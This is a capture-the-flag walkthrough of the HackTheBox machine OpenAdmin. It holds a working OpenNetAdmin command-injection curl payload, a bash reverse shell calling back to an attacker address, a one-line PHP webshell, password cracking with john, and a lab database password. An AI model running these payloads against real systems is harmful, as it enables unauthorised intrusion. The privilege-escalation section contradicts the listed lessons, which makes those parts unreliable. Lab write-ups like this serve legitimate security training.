OpenAdmin
OpenAdmin
Platform: HackTheBox | Difficulty: Easy | OS: Ubuntu Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved
Summary
Walkthrough of the HackTheBox machine OpenAdmin (Ubuntu, attack surface: Apache httpd 2.4.29 ((Ubuntu)) (80), OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) (22)). Foothold via remote code execution; privilege escalation via password reuse. Both flags captured and redacted.
Recon
Port scan
bash read-only • copy allowednmap -p- -sV -sC openadmin.htb --min-rate 1000
| Port | Service | Version | Notes |
|---|---|---|---|
| 22 | ssh | OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | |
| 80 | http | Apache httpd 2.4.29 ((Ubuntu)) |
Enumeration highlights
- Detected OS: Ubuntu.
- Open services: http (80), ssh (22).
- Scan used:
nmap -p- -sV -sC openadmin.htb --min-rate 1000.
Foothold
Vulnerability / Misconfiguration
PORT SCANNNING
┌──(D3v0o0Nu11㉿htb)-[~]
└─$ nmap -p- -sV -sC openadmin.htb --min-rate 1000
Starting Nmap 7.93 ( https://nmap.org ) at 2024-05-05 20:41 PDT
Nmap scan report for openadmin.htb (10.10.10.171)
Host is up (0.019s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b98df85d17ef03dda48cdbc9200b754 (RSA)
| 256 dceb3dc944d118b122b4cfdebd6c7a54 (ECDSA)
|_ 256 dcadca3c11315b6fe6a489347c9be550 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.64 seconds
- Based from the nmap results, the machine runs web application at port 80 and opens ssh login at port 22.
- Noticed based from the service's detail, once we open the webapp it shall rendered Ubuntu Default Page.
WEB DEFAULT PAGE
- Knowing this condition, seems the approach is to do directory listing.
RESULT USING DIRSEARCH
dirsearch -u http://openadmin.htb:80
- Interesting! We found 2 accessible endpoint.
Accessing /music/
- Long story short, after reviewing every feature. Figured out that login feature shall redirect us to
/onaendpoint.
Accessing /ona/
-
By checking for documentation, turns out ONA is an abbreviation of OpenNetAdmin.
-
Noticed, it disclosed the service's version -->
18.1.1. Usingsearchsploitor internet to find vuln related to this version, found these results:
Internet
Searchsploit
-
It's remote code execution, also there's github POC's which can be useful (it speed up our exploit to drop a shell).
-
Anyway, let's use the exploit from exploit.db first.
-
We just need to replace the CMD and URL.
txt read-only • copy allowedcurl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";id;echo \"END\"&xajaxargs[]=ping" http://openadmin.htb:80/ona/ | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
- Awesome, we can do reverse shell from this state. Now let's use the github POC to speed up our process to drop a shell.
Using the github POC
- Noticed we a got a shell as
www-data, which means in order to obtain the user flag, we need to swtich to a legitimate user account. - Anyway I am not too comfortable using shell from the Github POC, let's do reverse shell on our own. Let's use bash.
BASH REVERSE SHELL - PAYLOAD
txt read-only • copy allowedbash -c 'bash -i >%26 /dev/tcp/tun0/1337 0>%261'
IMPLEMENTATION
txt read-only • copy allowedcurl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";bash -c 'bash -i >%26 /dev/tcp/10.10.14.29/1337 0>%261';echo \"END\"&xajaxargs[]=ping" http://openadmin.htb:80/ona/ | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
-
Traversing to
/homedirectory to check users registered in this machine. Found 2 users namely jimmy and joanna. -
Upon reviewing the userinfo at ONA dashboard, identified it uses mysql and the host is local.
-
Hence let's traverse to the webapp location -->
/var/www/html/ona. -
Checking the
/local/configfound file -->database_settings.inc.phpwhich should be our interest. -
Found the db password of
ona_sys-->n1nj4W4rri0R!. However we can't open mysql in the machine. At this condition, we can speculate a password reuse to a certain user. -
After tried for both, turns out jimmy using the same password as the DB.
LOGGED IN AS JIMMY
-
Great! But sadly, there is no user flag inside jimmy's home directory. Seems the goal is to be authenticated as joanna to get the user flag.
-
Upon traversing several configuration files, found a configuration that shall let us authenticated as joanna.
-
Reviewing the apache2 --> internal.conf file, it revealed that the internal virtual host is running as joanna on localhost at port 52846.
-
Traversing to
/var/www/internalfound 3 .php files -->main.php,index.php, andlogout.php. Our interest should only for main and index.
Reviewing main.php
- Noticed it printed out joanna private key once we logged in at the webapp.
Reviewing index.php
- At index.php file, we can see a hashed password for jimmy account. The password is hashed with SHA512, which is crackable using john or might be crackstation has the db for that password. Let's try both.
USING CRACKSTATION
USING JOHN
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=RAW-SHA512 --rules=Jumbo
- Both states for
Revaled. - Next our objective is to reach the internal sites. Let's do port forwarding.
- Now reconnect to jimmy over SSH with a tunnel so that we can reach the internal webapp/website.
PORT FORWARDING
ssh jimmy@openadmin.htb -L 52846:localhost:52846
-
Now we can access the internal website at port 52846.
-
Now login using the credential we found and cracked before -->
jimmy:Revealed. -
BUT, remembering we got access to the internal site. Hence we don't actually need to crack the ssh key.
-
We can drop webshell to get access to joanna account.
SIMPLE WEBSHELL
txt read-only • copy allowed<?php system($_GET["cmd"]); ?>
Proof
User flag: REDACTED
Privilege Escalation
User -> Root/Admin
The exploit provided a shell running with elevated privileges directly, so no separate privilege escalation was required.
Root flag: REDACTED
Flags
| Flag | Value |
|---|---|
| user | REDACTED |
| root | REDACTED |
Lessons Learned
- Using dirsearch to enumerate webpages.
- Exploiting OpenNetAdmin (ONA) v.18.1.1 --> Remote Code Execution, Command Injection.
- Implement bash reverse shell.
- Reviewing apache2 internal configuration (reviewing the virtual host is running as which user --> lead to port forwarding).
- Password Cracking using john.
- Port Forwarding (to be able to access internal website).
- Dropping a webshell on the internal site to gain access to joanna user.
- Cracking SSH Private Key.
- Privilege Escalation in nano by reseting
/stdin/stdout/stderr.